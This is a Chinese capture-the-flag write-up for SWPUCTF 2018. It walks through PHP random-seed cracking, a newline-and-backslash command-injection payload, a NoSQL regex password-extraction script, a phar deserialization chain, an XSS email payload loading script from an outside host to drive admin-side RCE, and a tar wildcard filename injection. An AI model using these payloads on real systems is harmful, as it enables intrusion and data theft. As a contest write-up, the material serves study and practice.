SWPUCTF2018 Write up

恰逢复习期,也没什么事,打一场SWPUCTF来放松一下,感谢西油出题师傅。最后狗了个第十二名,顺便吐槽一下队友起的什么智障名字。。

SWPUCTF2018

MISC

PCAP

签到题,流量包拖wireshark追TCP包

床前明月光,低头…

低头看键盘

99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

键盘密码 99就代表9那列的第二个值

look ….. 依次读就行了

WEB

用优惠码买个X

拿到题目扫目录 www.zip
源码如下

$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

根据提示应该分两部分 绕过优惠码->命令执行逃过

首先说破解优惠码,登陆时session产生0-99999999随机数为种子,通过mt_srand()种下随机数种子,mt_rand()来获取这个随机数。

这里mt_srand伪随机,具体机制可以看这篇文章:http://wonderkun.cc/index.html/?p=585%EF%BC%8C%E9%9A%8F%E6%9C%BA%E6%95%B0%E4%B9%8B%E5%89%8D%E4%B9%9F%E6%98%AFctf%E7%9A%84%E5%B8%B8%E8%A7%81%E5%A7%BF%E5%8A%BF

种子不变,生成的随机数就不变

所以通过前15位随机数,破解种子,根据种子再生成24位的随机数,也就是我们的优惠码

脚本跑随机数在字符串的位置:

<?php
$str = "lP9DUJjQ";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

这个的坑点,必须跑前八位优惠码,因为算法里后起位和前八位生成顺序不一样

用工具php_mt_seed跑一下

本地php7环境跑这个种子的24位就能得到优惠码了

优惠码成功跳转到命令执行whois查询,匹配ip时用了/m 且^ $必须匹配头尾,%0a换行绕过检测,0a后面写规范ip

过滤了查询flag的语句,用”” 或者\绕过都行

完整payload:

ca\t /f\lag%0a127.0.0.1

Injection ???

扫目录用个info.php

是个phpinfo然后拓展显示mongo的数据库,搭配题目叫注入,那应该是一个nosql注入了

思路很简单,用通配符猜解admin的密码

username=admin&password[$regex]=^**

只不过要写个脚本跑验证码,这里队友写了一个提供参考

import requests
import time
import pytesseract
from PIL import Image
import os
from urllib.request import urlretrieve

j=0
passw0rd = ["s","k","m","u","n"]
payload="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_!@#$%"
url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^skmun{}&vertify={}"
img_url = 'http://123.206.213.66:45678/vertify.php'

for i in range(1,20):
    while j<len(payload):
        s = requests.session()
        payloads = payload[j]
        with open(r'C:\Users\asus\Desktop\image\img1.png','wb') as fd:
            img_1 = s.get(url=img_url)
            fd.write(img_1.content)
        image = Image.open(r'C:\Users\asus\Desktop\image\img1.png')
        vcode = pytesseract.image_to_string(image)
        url_1 = url.format(str(payloads),vcode)
        r = s.get(url_1,cookies=img_1.cookies)
        print(r.text)
        if "wrong CAPTCHA!" in r.text:
            continue
        if "username or password incorrect!" in r.text:
            print(payloads)
            j = j+1
            break
        if "Nice!But it is not the real passwd" in r.text:
            passw0rd.append(payloads)
            print("passw0rd is :" + str(passw0rd))
            j = j+1
            break

SimplePHP

题目地址:

file有个代码高亮的功能,把这些页面的额源码都Down一下

先看一下test类的__get()方法

__get()方法用于输出一个不可访问变量的值,不可访问不仅仅是protected和private,还有不存在的变量也属于不可访问,这点很重要。$key的值就是不可访问的参数名,这里是”source”,如果输入”xx”,echo的就是xx。

开发角度来讲,私有属性一般都会调用__get()方法用以提供外界访问。继续看下面的代码

    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];      
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);  
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

通过调用get()方法获取params数组里的值,进而获取这个值所对应的文件内容,这为获取flag文件内容做了铺垫。

所以只需要想办法使$this->params[$key] = ‘/var/www/html/f1ag.php’

瓶颈

一开始我是这样构造的攻击链:

之前分析过phar,它在反序列化的时候不会执行构造函数即construct,所以置空参数,让test类的get方法返回文件内容,再通过c1e4r类的echo输出到页面上

但是这里有一个问题,phar序列化的时候, 不会把类的方法反序列化,所以只能控类的成员。那么就开始下面的方法:

正确的思路

$a = new Test();
$a->params = [
    'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

思路就是:
我们用test类来获取f1ag.php里的内容,返回给$content(Show类),$content的值再返回给C1e4r类的echo输出

C1e4r调用echo,而echo可以执行toString方法,所以我们让echo的值为我们要控的toString方法对应的类即show类的对象

有趣的邮箱注册

网站功能很少:提交邮箱地址->管理审核邮箱

给了hint:

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, pleduase check your email";
}else{
echo "等待管理员自动审核";edit/5c1a5a3a38649f668227c9fd
echo $email;
}
}
?>
-->

之前有个红日审计项目,关于filter_var()匹配email的漏洞进行了剖析:https://xz.aliyun.com/t/2501

大致就是单引号双引号重叠,用\可以绕过空格,

然后我尝试了一下注入scirpt标签提交..尼玛直接成功了…

email="\ <sCRiPt\ sRC=https://unazizi.exeye.io/swctf></sCrIpT>\ "@aa.com

那它的意思应该是后台管理员会随时点击这个email,就触发了xss

因为打不到管理员的cookie,就打admin.php的页面源码了

发现后台会跳到:/admin/a0a.php?cmd=whoami

明显RCE,直接请求到这个url,发现出题人设置了本地,且匹配IP用的是 remote_addr,也就是说无法伪装IP

后台Bot一直会请求admin.php这个页面,xss 改变它请求的参数,让本地管理员帮我们执行这个命令

用XHR发送请求或者Location重定向都可以

反弹Shell后发现还有题目,后台有个上传页面和备份页面,其中backup.php可读内容如下

<?phpinclude("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件,无法备份!";
}
?>

也就是说它会备份我们上传目录下的所有文件,即*

上传一些文件名例如| echo "123">123.php

System 就会执行拼接后的$sys

当时题目坏了,出题师傅跟我说直接再弹一个shell,就可以拿到flag权限。。

然后直接给我了flag…2333…

感受

这次比赛是西南石油师傅举办的公益性比赛..觉得他们确实挺不容易的,学院不支持+自掏腰包办比赛,但是赛题质量都还不错,可见师傅们的用心,给个好评!

not found!